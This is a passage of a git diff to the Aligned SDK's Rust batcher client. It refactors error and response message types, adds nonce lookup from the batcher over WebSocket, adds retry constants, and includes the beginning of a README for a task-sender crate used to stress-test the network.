error!("Batcher experienced Eth RPC connection error"); + Err(SubmitError::EthereumProviderError( + "Batcher experienced Eth RPC connection error".to_string(), + )) + } + Ok(SubmitProofResponseMessage::InvalidPaymentServiceAddress( + received_addr, + expected_addr, + )) => { + error!( + "Batcher responded with invalid payment service address: {:?}, expected: {:?}", + received_addr, expected_addr ); + Err(SubmitError::InvalidPaymentServiceAddress( + received_addr, + expected_addr, + )) } - Ok(ResponseMessage::ProtocolVersion(_)) => { - return Err(SubmitError::UnexpectedBatcherResponse( + Ok(SubmitProofResponseMessage::InvalidProof(reason)) => { + error!("Batcher responded with invalid proof: {}", reason); + Err(SubmitError::InvalidProof(reason)) + } + Ok(SubmitProofResponseMessage::CreateNewTaskError(merkle_root, error)) => { + error!("Batcher responded with create new task error: {}", error); + Err(SubmitError::BatchSubmissionFailed( + "Could not create task with merkle root ".to_owned() + + &merkle_root + + ", failed with error: " + + &error, + )) + } + Ok(SubmitProofResponseMessage::ProtocolVersion(_)) => { + error!("Batcher responded with protocol version instead of batch inclusion data"); + Err(SubmitError::UnexpectedBatcherResponse( "Batcher responded with protocol version instead of batch inclusion data" .to_string(), - )); + )) } - Ok(ResponseMessage::BatchReset) => { - return Err(SubmitError::ProofQueueFlushed); + Ok(SubmitProofResponseMessage::BatchReset) => { + error!("Batcher responded with batch reset"); + Err(SubmitError::ProofQueueFlushed) } - Ok(ResponseMessage::Error(e)) => { + Ok(SubmitProofResponseMessage::Error(e)) => { error!("Batcher responded with error: {}", e); - } - Ok(ResponseMessage::CreateNewTaskError(merkle_root)) => { - return Err(SubmitError::BatchSubmissionFailed( - "Could not create task with merkle root ".to_owned() + &merkle_root, - )); - } - Ok(ResponseMessage::InvalidProof(reason)) => { - return Err(SubmitError::InvalidProof(reason)); + Err(SubmitError::GenericError(e)) } Err(e) => { - return Err(SubmitError::SerializationError(e)); + error!("Error while deserializing batch inclusion data: {}", e); + Err(SubmitError::SerializationError(e)) } } +} - Ok(()) +// Used to match the message received from the batcher, +// with the NoncedVerificationData you sent +// This is used to verify the proof you sent was indeed included in the batch +fn match_batcher_response_with_stored_verification_data( + batch_inclusion_data: &BatchInclusionData, + sent_verification_data_rev: &mut Vec>, +) -> Result { + debug!("Matching verification data with batcher response ..."); + let mut index = None; + for (i, sent_nonced_verification_data) in + sent_verification_data_rev.iter_mut().enumerate().rev() + { + // iterate in reverse since the last element is the most probable to match + if let Ok(sent_nonced_verification_data) = sent_nonced_verification_data { + if sent_nonced_verification_data.nonce == batch_inclusion_data.user_nonce { + debug!("local nonced verification data matched with batcher response"); + index = Some(i); + break; + } + } + } + + // cant remove an element while iterating, so we remove it here + if let Some(i) = index { + let verification_data = sent_verification_data_rev.remove(i).unwrap(); + return Ok(verification_data.verification_data.clone().into()); + } + + Err(SubmitError::InvalidProofInclusionData) +} + +// Returns the biggest nonce from the sent verification data +// Used to know which is the last proof sent to the Batcher, +// to know when to stop reading the WS for responses +fn get_biggest_nonce( + sent_verification_data: &[Result], +) -> U256 { + let mut biggest_nonce = U256::zero(); + for verification_data in sent_verification_data.iter().flatten() { + if verification_data.nonce > biggest_nonce { + biggest_nonce = verification_data.nonce; + } + } + biggest_nonce } diff --git a/batcher/aligned-sdk/src/communication/protocol.rs b/batcher/aligned-sdk/src/communication/protocol.rs index 362c56736..aba52b97f 100644 --- a/batcher/aligned-sdk/src/communication/protocol.rs +++ b/batcher/aligned-sdk/src/communication/protocol.rs @@ -2,7 +2,7 @@ use futures_util::{stream::SplitStream, StreamExt}; use tokio::net::TcpStream; use tokio_tungstenite::{MaybeTlsStream, WebSocketStream}; -use crate::core::{errors::SubmitError, types::ResponseMessage}; +use crate::core::{errors::SubmitError, types::SubmitProofResponseMessage}; use super::serialization::cbor_deserialize; @@ -13,7 +13,7 @@ pub async fn check_protocol_version( ) -> Result<(), SubmitError> { if let Some(Ok(msg)) = ws_read.next().await { match cbor_deserialize(msg.into_data().as_slice()) { - Ok(ResponseMessage::ProtocolVersion(protocol_version)) => { + Ok(SubmitProofResponseMessage::ProtocolVersion(protocol_version)) => { if protocol_version > EXPECTED_PROTOCOL_VERSION { return Err(SubmitError::ProtocolVersionMismatch { current: protocol_version, diff --git a/batcher/aligned-sdk/src/communication/serialization.rs b/batcher/aligned-sdk/src/communication/serialization.rs index f37f02061..1754bb48b 100644 --- a/batcher/aligned-sdk/src/communication/serialization.rs +++ b/batcher/aligned-sdk/src/communication/serialization.rs @@ -1,6 +1,6 @@ use std::io::Read; -use serde::{de::DeserializeOwned, Serialize}; +use serde::{de::DeserializeOwned, Deserialize, Serialize}; pub fn cbor_serialize(value: &T) -> Result, SerializationError> { let mut buf = Vec::new(); @@ -12,7 +12,7 @@ pub fn cbor_deserialize(buf: R) -> Result respondToTaskFeeLimit modifier pub const DEFAULT_AGGREGATOR_FEE_PERCENTAGE_MULTIPLIER: u128 = 150; // feeForAggregator modifier pub const GAS_PRICE_PERCENTAGE_MULTIPLIER: u128 = 110; // gasPrice modifier +pub const OVERRIDE_GAS_PRICE_PERCENTAGE_MULTIPLIER: u128 = 120; // gasPrice modifier to override previous transactions pub const PERCENTAGE_DIVIDER: u128 = 100; /// SDK /// @@ -23,3 +24,15 @@ pub const MAX_FEE_BATCH_PROOF_NUMBER: usize = 32; /// Estimated number of proofs for batch submission. /// This corresponds to the number of proofs to compute for a default max_fee. pub const MAX_FEE_DEFAULT_PROOF_NUMBER: usize = 10; + +/// Ethereum calls retry constants +pub const ETHEREUM_CALL_MIN_RETRY_DELAY: u64 = 500; // milliseconds +pub const ETHEREUM_CALL_MAX_RETRIES: usize = 5; +pub const ETHEREUM_CALL_BACKOFF_FACTOR: f32 = 2.0; +pub const ETHEREUM_CALL_MAX_RETRY_DELAY: u64 = 3600; // seconds + +/// Ethereum transaction retry constants +pub const BUMP_MIN_RETRY_DELAY: u64 = 500; // milliseconds +pub const BUMP_MAX_RETRIES: usize = 33; // ~ 1 day +pub const BUMP_BACKOFF_FACTOR: f32 = 2.0; +pub const BUMP_MAX_RETRY_DELAY: u64 = 3600; // seconds diff --git a/batcher/aligned-sdk/src/core/errors.rs b/batcher/aligned-sdk/src/core/errors.rs index 951328db0..8712009c6 100644 --- a/batcher/aligned-sdk/src/core/errors.rs +++ b/batcher/aligned-sdk/src/core/errors.rs @@ -3,6 +3,7 @@ use ethers::providers::ProviderError; use ethers::signers::WalletError; use ethers::types::transaction::eip712::Eip712Error; use ethers::types::{SignatureError, H160}; +use serde::{Deserialize, Serialize}; use std::io; use std::path::PathBuf; use tokio_tungstenite::tungstenite::protocol::CloseFrame; @@ -15,7 +16,6 @@ use super::types::ProofInvalidReason; pub enum AlignedError { SubmitError(SubmitError), VerificationError(VerificationError), - NonceError(NonceError), ChainIdError(ChainIdError), MaxFeeEstimateError(MaxFeeEstimateError), FileError(FileError), @@ -33,12 +33,6 @@ impl From for AlignedError { } } -impl From for AlignedError { - fn from(e: NonceError) -> Self { - AlignedError::NonceError(e) - } -} - impl From for AlignedError { fn from(e: ChainIdError) -> Self { AlignedError::ChainIdError(e) @@ -62,7 +56,6 @@ impl fmt::Display for AlignedError { match self { AlignedError::SubmitError(e) => write!(f, "Submit error: {}", e), AlignedError::VerificationError(e) => write!(f, "Verification error: {}", e), - AlignedError::NonceError(e) => write!(f, "Nonce error: {}", e), AlignedError::ChainIdError(e) => write!(f, "Chain ID error: {}", e), AlignedError::MaxFeeEstimateError(e) => write!(f, "Max fee estimate error: {}", e), AlignedError::FileError(e) => write!(f, "File error: {}", e), @@ -97,10 +90,12 @@ pub enum SubmitError { InvalidProof(ProofInvalidReason), ProofTooLarge, InvalidReplacementMessage, - InsufficientBalance, + InsufficientBalance(H160), InvalidPaymentServiceAddress(H160, H160), BatchSubmissionFailed(String), AddToBatchError, + InvalidProofInclusionData, + GetNonceError(String), GenericError(String), } @@ -200,7 +195,9 @@ impl fmt::Display for SubmitError { SubmitError::InvalidProof(reason) => write!(f, "Invalid proof {}", reason), SubmitError::ProofTooLarge => write!(f, "Proof too Large"), SubmitError::InvalidReplacementMessage => write!(f, "Invalid replacement message"), - SubmitError::InsufficientBalance => write!(f, "Insufficient balance"), + SubmitError::InsufficientBalance(addr) => { + write!(f, "Insufficient balance, address: {}", addr) + } SubmitError::InvalidPaymentServiceAddress(received_addr, expected_addr) => { write!( f, @@ -210,6 +207,10 @@ impl fmt::Display for SubmitError { } SubmitError::ProofQueueFlushed => write!(f, "Batch reset"), SubmitError::AddToBatchError => write!(f, "Error while adding entry to batch"), + SubmitError::InvalidProofInclusionData => { + write!(f, "Batcher responded with invalid batch inclusion data. Can't verify your proof was correctly included in the batch.") + } + SubmitError::GetNonceError(e) => write!(f, "Error while getting nonce {}", e), } } } @@ -237,21 +238,14 @@ impl fmt::Display for VerificationError { } } -#[derive(Debug)] -pub enum NonceError { - EthereumProviderError(String), - EthereumCallError(String), -} - -impl fmt::Display for NonceError { - fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { - match self { - NonceError::EthereumProviderError(e) => { - write!(f, "Ethereum provider error: {}", e) - } - NonceError::EthereumCallError(e) => write!(f, "Ethereum call error: {}", e), - } - } +#[derive(Debug, Serialize, Deserialize, Clone)] +pub enum GetNonceError { + EthRpcError(String), + ConnectionFailed(String), + SerializationError(String), + UnexpectedResponse(String), + InvalidRequest(String), + ProtocolMismatch { current: u16, expected: u16 }, } #[derive(Debug)] diff --git a/batcher/aligned-sdk/src/core/types.rs b/batcher/aligned-sdk/src/core/types.rs index 7139ca1eb..ab392df51 100644 --- a/batcher/aligned-sdk/src/core/types.rs +++ b/batcher/aligned-sdk/src/core/types.rs @@ -197,12 +197,14 @@ pub struct BatchInclusionData { pub batch_merkle_root: [u8; 32], pub batch_inclusion_proof: Proof<[u8; 32]>, pub index_in_batch: usize, + pub user_nonce: U256, } impl BatchInclusionData { pub fn new( verification_data_batch_index: usize, batch_merkle_tree: &MerkleTree, + user_nonce: U256, ) -> Self { let batch_inclusion_proof = batch_merkle_tree .get_proof_by_pos(verification_data_batch_index) @@ -212,16 +214,35 @@ impl BatchInclusionData { batch_merkle_root: batch_merkle_tree.root, batch_inclusion_proof, index_in_batch: verification_data_batch_index, + user_nonce, } } } #[derive(Debug, Clone, Serialize, Deserialize)] -pub struct ClientMessage { +pub struct SubmitProofMessage { pub verification_data: NoncedVerificationData, pub signature: Signature, } +#[derive(Debug, Clone, Serialize, Deserialize)] +pub enum ClientMessage { + GetNonceForAddress(Address), + // Needs to be wrapped in box as the message is 3x bigger than the others + // see https://rust-lang.github.io/rust-clippy/master/index.html#large_enum_variant + SubmitProof(Box), +} + +impl Display for ClientMessage { + fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result { + // Use pattern matching to print the variant name + match self { + ClientMessage::GetNonceForAddress(_) => write!(f, "GetNonceForAddress"), + ClientMessage::SubmitProof(_) => write!(f, "SubmitProof"), + } + } +} + impl Eip712 for NoncedVerificationData { type Error = Eip712Error; fn domain(&self) -> Result { @@ -272,7 +293,7 @@ impl Eip712 for NoncedVerificationData { } } -impl ClientMessage { +impl SubmitProofMessage { /// Client message is a wrap around verification data and its signature. /// The signature is obtained by calculating the commitments and then hashing them. pub async fn new( @@ -284,7 +305,7 @@ impl ClientMessage { .await .expect("Failed to sign the verification data"); - ClientMessage { + Self { verification_data, signature, } @@ -329,22 +350,6 @@ impl AlignedVerificationData { } } -#[derive(Debug, Clone, Serialize, Deserialize)] -pub enum ValidityResponseMessage { - Valid, - InvalidNonce, - InvalidSignature, - InvalidChainId, - InvalidProof(ProofInvalidReason), - InvalidMaxFee, - InvalidReplacementMessage, - AddToBatchError, - ProofTooLarge, - InsufficientBalance(Address), - EthRpcError, - InvalidPaymentServiceAddress(Address, Address), -} - #[derive(Debug, Clone, Serialize, Deserialize)] pub enum ProofInvalidReason { RejectedProof, @@ -352,37 +357,6 @@ pub enum ProofInvalidReason { DisabledVerifier(ProvingSystemId), } -impl Display for ValidityResponseMessage { - fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result { - match self { - ValidityResponseMessage::Valid => write!(f, "Valid"), - ValidityResponseMessage::InvalidNonce => write!(f, "Invalid nonce"), - ValidityResponseMessage::InvalidSignature => write!(f, "Invalid signature"), - ValidityResponseMessage::InvalidChainId => write!(f, "Invalid chain id"), - ValidityResponseMessage::InvalidProof(reason) => { - write!(f, "Invalid proof: {}", reason) - } - ValidityResponseMessage::InvalidMaxFee => write!(f, "Invalid max fee"), - ValidityResponseMessage::InvalidReplacementMessage => { - write!(f, "Invalid replacement message") - } - ValidityResponseMessage::AddToBatchError => write!(f, "Add to batch error"), - ValidityResponseMessage::ProofTooLarge => write!(f, "Proof too large"), - ValidityResponseMessage::InsufficientBalance(addr) => { - write!(f, "Insufficient balance for address {}", addr) - } - ValidityResponseMessage::EthRpcError => write!(f, "Eth RPC error"), - ValidityResponseMessage::InvalidPaymentServiceAddress(addr, expected) => { - write!( - f, - "Invalid payment service address: {}, expected: {}", - addr, expected - ) - } - } - } -} - impl Display for ProofInvalidReason { fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result { match self { @@ -396,13 +370,30 @@ impl Display for ProofInvalidReason { } #[derive(Debug, Clone, Serialize, Deserialize)] -pub enum ResponseMessage { +pub enum SubmitProofResponseMessage { BatchInclusionData(BatchInclusionData), ProtocolVersion(u16), - CreateNewTaskError(String), + CreateNewTaskError(String, String), //merkle-root, error InvalidProof(ProofInvalidReason), BatchReset, Error(String), + InvalidNonce, + InvalidSignature, + ProofTooLarge, + InvalidMaxFee, + InsufficientBalance(Address), + InvalidChainId, + InvalidReplacementMessage, + AddToBatchError, + EthRpcError, + InvalidPaymentServiceAddress(Address, Address), +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub enum GetNonceResponseMessage { + Nonce(U256), + EthRpcError(String), + InvalidRequest(String), } #[derive(Debug, Clone, Copy)] diff --git a/batcher/aligned-sdk/src/sdk.rs b/batcher/aligned-sdk/src/sdk.rs index 4bb5a3630..a9a0ad5a0 100644 --- a/batcher/aligned-sdk/src/sdk.rs +++ b/batcher/aligned-sdk/src/sdk.rs @@ -3,17 +3,17 @@ use crate::{ batch::await_batch_verification, messaging::{receive, send_messages, ResponseStream}, protocol::check_protocol_version, - serialization::cbor_serialize, + serialization::{cbor_deserialize, cbor_serialize}, }, core::{ constants::{ ADDITIONAL_SUBMISSION_GAS_COST_PER_PROOF, CONSTANT_GAS_COST, MAX_FEE_BATCH_PROOF_NUMBER, MAX_FEE_DEFAULT_PROOF_NUMBER, }, - errors, + errors::{self, GetNonceError}, types::{ - AlignedVerificationData, Network, PriceEstimate, ProvingSystemId, VerificationData, - VerificationDataCommitment, + AlignedVerificationData, ClientMessage, GetNonceResponseMessage, Network, + PriceEstimate, ProvingSystemId, VerificationData, }, }, eth::{ @@ -39,14 +39,14 @@ use log::{debug, info}; use futures_util::{ stream::{SplitSink, SplitStream}, - StreamExt, TryStreamExt, + SinkExt, StreamExt, TryFutureExt, TryStreamExt, }; +use serde_json::json; use std::fs::File; use std::io::Write; use std::path::PathBuf; -use serde_json::json; /// Submits multiple proofs to the batcher to be verified in Aligned and waits for the verification on-chain. /// # Arguments /// * `batcher_url` - The url of the batcher to which the proof will be submitted. @@ -55,7 +55,7 @@ use serde_json::json; /// * `verification_data` - An array of verification data of each proof. /// * `max_fees` - An array of the maximum fee that the submitter is willing to pay for each proof verification. /// * `wallet` - The wallet used to sign the proof. -/// * `nonce` - The nonce of the submitter address. See `get_next_nonce`. +/// * `nonce` - The nonce of the submitter address. See [`get_nonce_from_ethereum`] or [`get_nonce_from_batcher`]. /// * `payment_service_addr` - The address of the payment service contract. /// # Returns /// * An array of aligned verification data obtained when submitting the proof. @@ -83,25 +83,36 @@ pub async fn submit_multiple_and_wait_verification( eth_rpc_url: &str, network: Network, verification_data: &[VerificationData], - max_fees: &[U256], + max_fee: U256, wallet: Wallet, nonce: U256, -) -> Result, errors::SubmitError> { - let aligned_verification_data = submit_multiple( +) -> Vec> { + let mut aligned_verification_data = submit_multiple( batcher_url, network, verification_data, - max_fees, + max_fee, wallet, nonce, ) - .await?; - - for aligned_verification_data_item in aligned_verification_data.iter() { - await_batch_verification(aligned_verification_data_item, eth_rpc_url, network).await?; + .await; + + // TODO: open issue: use a join to .await all at the same time, avoiding the loop + // And await only once per batch, no need to await multiple proofs if they are in the same batch. + let mut error_awaiting_batch_verification: Option = None; + for aligned_verification_data_item in aligned_verification_data.iter().flatten() { + if let Err(e) = + await_batch_verification(aligned_verification_data_item, eth_rpc_url, network).await + { + error_awaiting_batch_verification = Some(e); + break; + } + } + if let Some(error_awaiting_batch_verification) = error_awaiting_batch_verification { + aligned_verification_data.push(Err(error_awaiting_batch_verification)); } - Ok(aligned_verification_data) + aligned_verification_data } /// Returns the estimated `max_fee` depending on the batch inclusion preference of the user, based on the max priority gas price. @@ -208,11 +219,11 @@ async fn fetch_gas_price( /// Submits multiple proofs to the batcher to be verified in Aligned. /// # Arguments /// * `batcher_url` - The url of the batcher to which the proof will be submitted. -/// * `chain` - The chain on which the verification will be done. +/// * `network` - The netork on which the verification will be done. /// * `verification_data` - An array of verification data of each proof. /// * `max_fees` - An array of the maximum fee that the submitter is willing to pay for each proof verification. /// * `wallet` - The wallet used to sign the proof. -/// * `nonce` - The nonce of the submitter address. See `get_next_nonce`. +/// * `nonce` - The nonce of the submitter address. See [`get_nonce_from_ethereum`] or [`get_nonce_from_batcher`]. /// # Returns /// * An array of aligned verification data obtained when submitting the proof. /// # Errors @@ -234,13 +245,14 @@ pub async fn submit_multiple( batcher_url: &str, network: Network, verification_data: &[VerificationData], - max_fees: &[U256], + max_fee: U256, wallet: Wallet, nonce: U256, -) -> Result, errors::SubmitError> { - let (ws_stream, _) = connect_async(batcher_url) - .await - .map_err(errors::SubmitError::WebSocketConnectionError)?; +) -> Vec> { + let (ws_stream, _) = match connect_async(batcher_url).await { + Ok((ws_stream, response)) => (ws_stream, response), + Err(e) => return vec![Err(errors::SubmitError::WebSocketConnectionError(e))], + }; debug!("WebSocket handshake has been successfully completed"); let (ws_write, ws_read) = ws_stream.split(); @@ -252,7 +264,7 @@ pub async fn submit_multiple( ws_read, network, verification_data, - max_fees, + max_fee, wallet, nonce, ) @@ -261,7 +273,7 @@ pub async fn submit_multiple( pub fn get_payment_service_address(network: Network) -> ethers::types::H160 { match network { - Network::Devnet => H160::from_str("0x7969c5eD335650692Bc04293B07F5BF2e7A673C0").unwrap(), + Network::Devnet => H160::from_str("0x7bc06c482DEAd17c0e297aFbC32f6e63d3846650").unwrap(), Network::Holesky => H160::from_str("0x815aeCA64a974297942D2Bbf034ABEe22a38A003").unwrap(), Network::HoleskyStage => { H160::from_str("0x7577Ec4ccC1E6C529162ec8019A49C13F6DAd98b").unwrap() @@ -279,23 +291,34 @@ pub fn get_aligned_service_manager_address(network: Network) -> ethers::types::H } } +// Will submit the proofs to the batcher and wait for their responses +// Will return once all proofs are responded, or up to a proof that is responded with an error async fn _submit_multiple( ws_write: Arc>, Message>>>, mut ws_read: SplitStream>>, network: Network, verification_data: &[VerificationData], - max_fees: &[U256], + max_fee: U256, wallet: Wallet, nonce: U256, -) -> Result, errors::SubmitError> { +) -> Vec> { // First message from the batcher is the protocol version - check_protocol_version(&mut ws_read).await?; + if let Err(e) = check_protocol_version(&mut ws_read).await { + return vec![Err(e)]; + } if verification_data.is_empty() { - return Err(errors::SubmitError::MissingRequiredParameter( + return vec![Err(errors::SubmitError::MissingRequiredParameter( "verification_data".to_string(), - )); + ))]; + } + if verification_data.len() > 10000 { + //TODO Magic number + return vec![Err(errors::SubmitError::GenericError( + "Trying to submit too many proofs at once".to_string(), + ))]; } + let ws_write_clone = ws_write.clone(); let response_stream: ResponseStream = @@ -305,42 +328,26 @@ async fn _submit_multiple( let payment_service_addr = get_payment_service_address(network); - let sent_verification_data = { - // The sent verification data will be stored here so that we can calculate - // their commitments later. - send_messages( - response_stream.clone(), + let result = async { + let sent_verification_data_rev = send_messages( ws_write, payment_service_addr, verification_data, - max_fees, + max_fee, wallet, nonce, ) - .await? - }; - - let num_responses = Arc::new(Mutex::new(0)); - - // This vector is reversed so that when responses are received, the commitments corresponding - // to that response can simply be popped of this vector. - let mut verification_data_commitments_rev: Vec = - sent_verification_data - .into_iter() - .map(|vd| vd.into()) - .rev() - .collect(); - - let aligned_verification_data = receive( - response_stream, - ws_write_clone, - verification_data.len(), - num_responses, - &mut verification_data_commitments_rev, - ) - .await?; + .await; + receive(response_stream, sent_verification_data_rev).await + } + .await; - Ok(aligned_verification_data) + // Close connection + info!("Closing WS connection"); + if let Err(e) = ws_write_clone.lock().await.close().await { + return vec![Err(errors::SubmitError::GenericError(e.to_string()))]; + } + result } /// Submits a proof to the batcher to be verified in Aligned and waits for the verification on-chain. @@ -351,7 +358,7 @@ async fn _submit_multiple( /// * `verification_data` - The verification data of the proof. /// * `max_fee` - The maximum fee that the submitter is willing to pay for the verification. /// * `wallet` - The wallet used to sign the proof. -/// * `nonce` - The nonce of the submitter address. See `get_next_nonce`. +/// * `nonce` - The nonce of the submitter address. See [`get_nonce_from_ethereum`] or [`get_nonce_from_batcher`]. /// * `payment_service_addr` - The address of the payment service contract. /// # Returns /// * The aligned verification data obtained when submitting the proof. @@ -385,20 +392,24 @@ pub async fn submit_and_wait_verification( ) -> Result { let verification_data = vec![verification_data.clone()]; - let max_fees = vec![max_fee]; - let aligned_verification_data = submit_multiple_and_wait_verification( batcher_url, eth_rpc_url, network, &verification_data, - &max_fees, + max_fee, wallet, nonce, ) - .await?; - - Ok(aligned_verification_data[0].clone()) + .await; + + match aligned_verification_data.first() { + Some(Ok(aligned_verification_data)) => Ok(aligned_verification_data.clone()), + Some(Err(e)) => Err(errors::SubmitError::GenericError(e.to_string())), + None => Err(errors::SubmitError::GenericError( + "No response from the batcher".to_string(), + )), + } } /// Submits a proof to the batcher to be verified in Aligned. @@ -408,7 +419,7 @@ pub async fn submit_and_wait_verification( /// * `verification_data` - The verification data of the proof. /// * `max_fee` - The maximum fee that the submitter is willing to pay for the verification. /// * `wallet` - The wallet used to sign the proof. -/// * `nonce` - The nonce of the submitter address. See `get_next_nonce`. +/// * `nonce` - The nonce of the submitter address. See [`get_nonce_from_ethereum`] or [`get_nonce_from_batcher`]. /// # Returns /// * The aligned verification data obtained when submitting the proof. /// # Errors @@ -435,19 +446,24 @@ pub async fn submit( nonce: U256, ) -> Result { let verification_data = vec![verification_data.clone()]; - let max_fees = vec![max_fee]; let aligned_verification_data = submit_multiple( batcher_url, network, &verification_data, - &max_fees, + max_fee, wallet, nonce, ) - .await?; - - Ok(aligned_verification_data[0].clone()) + .await; + + match aligned_verification_data.first() { + Some(Ok(aligned_verification_data)) => Ok(aligned_verification_data.clone()), + Some(Err(e)) => Err(errors::SubmitError::GenericError(e.to_string())), + None => Err(errors::SubmitError::GenericError( + "No response from the batcher".to_string(), + )), + } } /// Checks if the proof has been verified with Aligned and is included in the batch. @@ -535,38 +551,105 @@ pub fn get_vk_commitment( hasher.finalize().into() } -/// Returns the next nonce for a given address. +/// Returns the next nonce for a given address from the batcher. +/// You should prefer this method instead of [`get_nonce_from_ethereum`] if you have recently sent proofs, +/// as the batcher proofs might not yet be on ethereum, +/// producing an out-of-sync nonce with the payment service contract on ethereum /// # Arguments -/// * `eth_rpc_url` - The URL of the Ethereum RPC node. -/// * `submitter_addr` - The address of the proof submitter for which the nonce will be retrieved. -/// * `payment_service_addr` - The address of the batcher payment service contract. +/// * `batcher_url` - The batcher websocket url. +/// * `address` - The user address for which the nonce will be retrieved. /// # Returns /// * The next nonce of the proof submitter account. /// # Errors -/// * `EthereumProviderError` if there is an error in the connection with the RPC provider. -/// * `EthereumCallError` if there is an error in the Ethereum call. -pub async fn get_next_nonce( +/// * `EthRpcError` if the batcher has an error in the Ethereum call when retrieving the nonce if not already cached. +pub async fn get_nonce_from_batcher( + batcher_ws_url: &str, + address: Address, +) -> Result { + let (ws_stream, _) = connect_async(batcher_ws_url).await.map_err(|_| { + GetNonceError::ConnectionFailed("Ws connection to batcher failed".to_string()) + })?; + + debug!("WebSocket handshake has been successfully completed"); + let (mut ws_write, mut ws_read) = ws_stream.split(); + check_protocol_version(&mut ws_read) + .map_err(|e| match e { + errors::SubmitError::ProtocolVersionMismatch { current, expected } => { + GetNonceError::ProtocolMismatch { current, expected } + } + _ => GetNonceError::UnexpectedResponse( + "Unexpected response, expected protocol version".to_string(), + ), + }) + .await?; + + let msg = ClientMessage::GetNonceForAddress(address); + + let msg_bin = cbor_serialize(&msg) + .map_err(|_| GetNonceError::SerializationError("Failed to serialize msg".to_string()))?; + ws_write + .send(Message::Binary(msg_bin.clone())) + .await + .map_err(|_| { + GetNonceError::ConnectionFailed( + "Ws connection failed to send message to batcher".to_string(), + ) + })?; + + let mut response_stream: ResponseStream = + ws_read.try_filter(|msg| futures_util::future::ready(msg.is_binary())); + + let msg = match response_stream.next().await { + Some(Ok(msg)) => msg, + _ => { + return Err(GetNonceError::ConnectionFailed( + "Connection was closed without close message before receiving all messages" + .to_string(), + )); + } + }; + + let _ = ws_write.close().await; + + match cbor_deserialize(msg.into_data().as_slice()) { + Ok(GetNonceResponseMessage::Nonce(nonce)) => Ok(nonce), + Ok(GetNonceResponseMessage::EthRpcError(e)) => Err(GetNonceError::EthRpcError(e)), + Ok(GetNonceResponseMessage::InvalidRequest(e)) => Err(GetNonceError::InvalidRequest(e)), + Err(_) => Err(GetNonceError::SerializationError( + "Failed to deserialize batcher message".to_string(), + )), + } +} + +/// Returns the next nonce for a given address in Ethereum from aligned payment service contract. +/// Note that it might be out of sync if you recently sent proofs. For that see [`get_nonce_from_batcher`] +/// # Arguments +/// * `eth_rpc_url` - The URL of the Ethereum RPC node. +/// * `address` - The user address for which the nonce will be retrieved. +/// # Returns +/// * The next nonce of the proof submitter account from ethereum. +/// # Errors +/// * `EthRpcError` if the batcher has an error in the Ethereum call when retrieving the nonce if not already cached. +pub async fn get_nonce_from_ethereum( eth_rpc_url: &str, submitter_addr: Address, network: Network, -) -> Result { +) -> Result { let eth_rpc_provider = Provider::::try_from(eth_rpc_url) - .map_err(|e| errors::NonceError::EthereumProviderError(e.to_string()))?; + .map_err(|e| GetNonceError::EthRpcError(e.to_string()))?; let payment_service_address = get_payment_service_address(network); match batcher_payment_service(eth_rpc_provider, payment_service_address).await { Ok(contract) => { let call = contract.user_nonces(submitter_addr); - let result = call .call() .await - .map_err(|e| errors::NonceError::EthereumCallError(e.to_string()))?; - + .map_err(|e| GetNonceError::EthRpcError(e.to_string()))?; Ok(result) } - Err(e) => Err(errors::NonceError::EthereumCallError(e.to_string())), + Err(e) => Err(GetNonceError::EthRpcError(e.to_string())), } } @@ -673,6 +756,10 @@ pub fn save_response( batch_inclusion_data_directory_path: PathBuf, aligned_verification_data: &AlignedVerificationData, ) -> Result<(), errors::FileError> { + info!( + "Saving batch inclusion data files in folder {}", + batch_inclusion_data_directory_path.display() + ); save_response_cbor( batch_inclusion_data_directory_path.clone(), &aligned_verification_data.clone(), @@ -697,12 +784,8 @@ fn save_response_cbor( let data = cbor_serialize(&aligned_verification_data)?; - let mut file = File::create(&batch_inclusion_data_path)?; + let mut file = File::create(batch_inclusion_data_path)?; file.write_all(data.as_slice())?; - info!( - "Batch inclusion data written into {}", - batch_inclusion_data_path.display() - ); Ok(()) } @@ -735,14 +818,9 @@ fn save_response_json( "verification_data_batch_index": aligned_verification_data.index_in_batch, "merkle_proof": merkle_proof, }); - let mut file = File::create(&batch_inclusion_data_path)?; + let mut file = File::create(batch_inclusion_data_path)?; file.write_all(serde_json::to_string_pretty(&data).unwrap().as_bytes())?; - info!( - "Batch inclusion data written into {}", - batch_inclusion_data_path.display() - ); - Ok(()) } diff --git a/batcher/aligned-task-sender/Cargo.toml b/batcher/aligned-task-sender/Cargo.toml new file mode 100644 index 000000000..94f08fb5e --- /dev/null +++ b/batcher/aligned-task-sender/Cargo.toml @@ -0,0 +1,32 @@ + +[package] +name = "task-sender" +version = "0.1.0" +edition = "2021" + +[dependencies] +serde = { version = "1.0.201", features = ["derive"] } +serde_json = "1.0.117" +futures-util = "0.3.30" +tokio = { version = "1.40.0", features = [ + "io-std", + "time", + "macros", + "rt", + "rt-multi-thread", + "sync", + "process", + "fs", +] } +tokio-tungstenite = { version = "0.24.0", features = [ + "rustls-tls-webpki-roots", + "native-tls", +] } +url = "2.5.0" +log = "0.4.21" +env_logger = "0.11.3" +clap = { version = "4.5.4", features = ["derive"] } +ethers = { version = "2.0", features = ["ws", "rustls", "eip712"] } +aligned-sdk = { path = "../aligned-sdk" } +rpassword = "7.3.1" +sha3 = { version = "0.10.8" } diff --git a/batcher/aligned-task-sender/README.md b/batcher/aligned-task-sender/README.md new file mode 100644 index 000000000..73b1df868 --- /dev/null +++ b/batcher/aligned-task-sender/README.md @@ -0,0 +1,95 @@ +# Task Sender +This CLI is made to stress-test the network. + +It has the following commands: + +## GenerateProofs + +This command is to generate N Groth16 proofs. + +To run it, you can: +```bash +cargo run --release -- generate-proofs \ + --number-of-proofs --proof-type groth16 \ + --dir-to-save-proofs $(PWD)/scripts/test_files/task_sender/proofs +``` + +We also have a make target: +```bash +NUMBER_OF_PROOFS=15 make task_sender_generate_groth16_proofs +``` +## GenerateAndFundWallets + +This command is to generate N wallets, and fund them in the BatcherPaymentService. + +To run it, you can: +```bash +cargo run --release -- generate-and-fund-wallets \ + --eth-rpc-url \ + --network \ + --funding-wallet-private-key \ + --number-wallets \ + --amount-to-deposit \ + --amount-to-deposit-to-aligned \ + --private-keys-filepath +``` + +### In Testnet +```bash +NUM_WALLETS= make task_sender_generate_and_fund_wallets_holesky_stage +``` + +### In Devnet: +Run anvil with more prefunded accounts, using the 